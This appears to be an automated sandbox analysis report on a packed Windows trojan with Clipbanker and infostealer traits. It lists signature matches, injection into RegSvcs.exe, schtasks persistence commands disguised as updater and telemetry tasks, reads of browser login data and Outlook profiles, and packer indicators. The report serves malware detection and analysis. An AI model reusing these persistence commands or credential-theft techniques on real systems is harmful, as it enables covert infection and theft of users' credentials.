Source: 00000009.00000002.1816666835.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000007.00000002.1817763757.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000007.00000002.1817763757.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000015.00000002.1977139395.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000015.00000002.1977139395.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000008.00000002.1811428432.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000008.00000002.1811428432.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000012.00000002.1889439352.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000012.00000002.1889439352.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000016.00000002.2058620639.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000016.00000002.2058620639.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000F.00000002.4085599610.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000F.00000002.4085599610.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9995424107142857
Source: file.exe	Static PE information: Section: .boot ZLIB complexity 0.9927286974075649

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@28/33@2/4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 2_2_005447E0 GetLastError,GetVersionExA,FormatMessageW,LocalFree,FormatMessageA,

2_2_005447E0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 2_2_00544A40 GetDiskFreeSpaceW,GetDiskFreeSpaceA,

2_2_00544A40

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 2_2_004E06D0 CreateDirectoryA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentHwProfileA,GetModuleHandleExA,GetModuleFileNameA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetComputerNameA,GetUserNameA,GetDesktopWindow,GetWindowRect,GetUserDefaultLocaleName,GetKeyboardLayoutList,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,GetLocalTime,GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,GlobalMemoryStatusEx,EnumDisplayDevicesA,EnumDisplayDevicesA,CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,CloseHandle,RegOpenKeyExA,RegEnumKeyExA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,RegCloseKey,

2_2_004E06D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 2_2_004845E0 CreateDirectoryA,CreateDirectoryA,CoInitialize,CoCreateInstance,CoUninitialize,PathFindExtensionA,CopyFileA,Concurrency::cancel_current_task,

2_2_004845E0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4408:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: \Sessions\1\BaseNamedObjects\slickSlideAnd2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3060:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2032:120:WilError_03
Source: C:\Users\user\Desktop\file.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Protect544cd51a.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Mutant created: \Sessions\1\BaseNamedObjects\jW5fQ5e-C7lR7tC1q
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3084:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.1650745382.00000000052F5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1650745382.00000000045C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1650745382.00000000052F5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1650745382.00000000045C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: SAs9CHY3YroDLogin Data For Account.2.dr, q8h87HgcZDd0Login Data.2.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 28%

Source: RegSvcs.exe

String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe "C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe"
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Source: C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe "C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe "C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe"	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Section loaded: apphelp.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: EdgeMS2.lnk.2.dr

LNK file: ..\..\..\..\..\..\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: file.exe

Static file information: File size 4792320 > 1048576

Source: file.exe	Static PE information: Raw size of is bigger than: 0x100000 < 0x321600
Source: file.exe	Static PE information: Raw size of .boot is bigger than: 0x100000 < 0x126200

Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: file.exe, 00000000.00000002.1650745382.0000000005238000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1659746305.0000000005A30000.00000004.10000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmp, file.exe, 00000000.00000002.1650745382.00000000045C1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1650745382.00000000050AD000.00000004.00000800.00020000.00000000.sdmp, Protect544cd51a.dll.0.dr
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: file.exe, 00000000.00000002.1646603659.0000000000414000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: RegSvcs.pdb, source: RegSvcs.exe, 00000002.00000002.4086941629.0000000000DAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb source: RegSvcs.exe, 00000002.00000002.4086941629.0000000000DAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: file.exe, 00000000.00000002.1659746305.0000000005AEA000.00000004.10000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1650745382.0000000004FDF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1650745382.000000000516A000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.80000.0.unpack :ER; :R; :R;.idata:W;.rsrc:R;.themida:EW;.boot:ER; vs :ER; :R; :R;
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Unpacked PE file: 7.2.MSIUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe	Unpacked PE file: 8.2.q2xutezn4kFdLk2viqDb.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Unpacked PE file: 9.2.MSIUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Unpacked PE file: 15.2.oobeldr.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Unpacked PE file: 18.2.AdobeUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
